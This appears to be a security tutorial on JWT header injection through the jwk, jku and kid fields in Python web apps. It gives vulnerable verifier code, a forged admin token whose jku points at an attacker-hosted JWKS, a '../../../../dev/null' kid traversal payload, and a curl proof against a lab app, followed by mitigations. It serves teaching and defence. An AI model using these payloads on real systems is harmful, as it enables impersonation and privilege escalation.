PyFu

JWT Header Injection via jku, jwk, and kid

Python-based Web Application Attacks

JWT headers can carry parameters that tell the verifier which key to use, and that is a dangerous amount of trust to place in attacker-controlled data. Three header fields, jwk, jku, and kid, all influence key selection, and a verifier that honors them blindly lets the attacker supply or point at the very key used to check their forged token’s signature. Where JWT Algorithm Confusion (RS256 to HS256) abuses the algorithm field, these attacks abuse the key-selection fields. The unifying defect is identical: the token is allowed to choose the key that validates it.

See Introduction to JSON Web Tokens in Python for the header structure these fields live in.

jwk: an embedded attacker key

The jwk header can embed a full public key inside the token. If the verifier uses that embedded key to check the signature, the attacker simply generates their own keypair, embeds the public half in jwk, and signs the token with the matching private half. The signature is valid, against the attacker’s own key.

# Vulnerable verifier: trusts the key embedded in the token header
import jwt
header = jwt.get_unverified_header(token)
key = jwk_to_pem(header["jwk"])          # attacker-supplied public key
jwt.decode(token, key, algorithms=["RS256"])

The fix is to never read key material from the token; the embedded jwk should be ignored entirely for verification.

jku: an attacker-hosted JWKS URL

The jku (JWK Set URL) header points the verifier at a JWKS document to fetch keys from. If the server fetches whatever URL the token specifies, the attacker hosts a JWKS containing their own public key and sets jku to that URL:

# Vulnerable: fetches the key set from a URL the TOKEN controls
header = jwt.get_unverified_header(token)
jwks = requests.get(header["jku"]).json()      # attacker-controlled URL
key = select_key(jwks, header.get("kid"))
jwt.decode(token, key, algorithms=["RS256"])

The attacker generates a keypair, serves a JWKS exposing the public key, and signs with the private key:

# attacker hosts a JWKS the victim will fetch
python3 -m http.server 8000   # serving jwks.json with the attacker's public key
forged = jwt.encode(
    {"sub": "attacker", "role": "admin"},
    attacker_private_key,
    algorithm="RS256",
    headers={"jku": "http://attacker:8000/jwks.json", "kid": "attacker-key"},
)

Because the server fetches a URL of the attacker’s choosing, this is also a server-side request forgery primitive (see Server Side Request Forgery (SSRF) in Flask Applications), reachable against internal endpoints even when the signature trick is patched. The defense is to ignore jku entirely, or to fetch only from a strict host allowlist of trusted issuers.

kid: path traversal and SQL injection

The kid (key ID) header selects a key by identifier. The danger is when kid is used unsanitized to locate the key, as a filesystem path or a database lookup.

If kid is concatenated into a file path, the attacker points it at a file whose contents they can predict and uses that as the (HMAC) key:

# Vulnerable: kid used as a file path
key = open("/app/keys/" + header["kid"], "rb").read()

A classic payload is kid: "../../../../dev/null", which yields an empty key; the attacker then signs an HS256 token with an empty secret and it verifies. Any world-readable file with predictable contents works as a known key.

If kid is interpolated into a SQL query that returns the key, it becomes SQL injection whose result the attacker controls, a UNION SELECT can return an attacker-known key string used to verify the forged token.

Why JWT header injection matters from an offensive security perspective

I prize these three fields because they let the token nominate the key that validates it, and a key I choose is a key I own. With jwk I embed my own public key and sign with the matching private half. With jku I host a JWKS the server fetches and verify against my key. With kid I steer key lookup to a file or query whose result I control. In every case the signature is genuinely valid, just against the wrong key, and the payoff is full forgery: arbitrary sub, role: admin, and impersonation of any user. Where JWT Algorithm Confusion (RS256 to HS256) abuses the algorithm field, this abuses key selection, and the defect is identical, the token choosing what checks it.

What raises the value further is that jku and kid are not just signature bypasses. A jku the server fetches is a server-side request forgery primitive, reachable against internal endpoints even after the signature trick is patched. A kid interpolated into a path or query is traversal or SQL injection that happens to return a key I can predict. So one header field can be a forgery, an SSRF, and an injection at once, which is why I probe all three the moment I see header-driven key resolution.

These are the tells I look for in PyJWT and python-jose code:

  • jwt.get_unverified_header(token) feeding key selection. The header is read before any signature is checked, so anything derived from it is attacker-controlled.
  • requests.get(header["jku"]) or any fetch of a token-supplied URL. The verifier pulls keys from where the token says, both a forgery and an SSRF.
  • header["jwk"] converted to a key and used to verify. Key material read straight out of the token.
  • kid concatenated into a path or query. open("/app/keys/" + header["kid"]) invites ../../../../dev/null; string-built SQL invites a UNION SELECT returning a known key.

The defender takeaway: treat jwk, jku, and kid as untrusted input and resolve verification keys exclusively from server-side configuration, because a token that picks its own key always wins.

Proof of exploitation

Run the lab app (PyFuLabs/fastapi-fu/fastapi-jwt-jku-injection). The verifier fetches the JWKS from whatever URL the token’s jku header names and validates RS256 against the key it finds there, so an attacker hosts their own JWKS and points jku at it:

# 1) generate an RSA keypair; publish the public half as a JWKS you control
#    (served at http://attacker/jwks.json with kid "attacker")
# 2) sign a token with your PRIVATE key, RS256, headers: jku -> your server, kid -> "attacker"

curl -s http://pyfu.local/fastapi-fu/fastapi-jwt-jku-injection/api/admin \
  -H "Authorization: Bearer <attacker-signed-token>"
{"message":"welcome admin","claims":{"sub":"attacker","role":"admin"}}

The server fetched the attacker’s JWKS and verified the token against the attacker’s own key. The jku (and jwk/x5u) source must be pinned to a trusted origin and never taken from the token itself.

Mitigation

The single rule covers all three: the token must not choose its own verification key. Concretely:

  • Ignore jwk and jku for verification; pin keys server-side.
  • If multiple keys are legitimately needed, validate kid against a fixed allowlist of known IDs, never use it directly in a path or query.
  • If you must support jku for a federation, restrict it to an allowlist of issuer hosts and treat the fetch as an SSRF-sensitive outbound request.
  • Pin the algorithm (see the algorithm confusion and none pages).

Tested on CPython 3.12.3 with PyJWT 2.x. The takeaway: jwk, jku, and kid let a token nominate its own key, and any verifier that obeys them can be handed a key the attacker controls. Treat all three header fields as untrusted input and resolve keys exclusively from server-side configuration. The runnable lab is fastapi-fu/fastapi-jwt-jku-injection.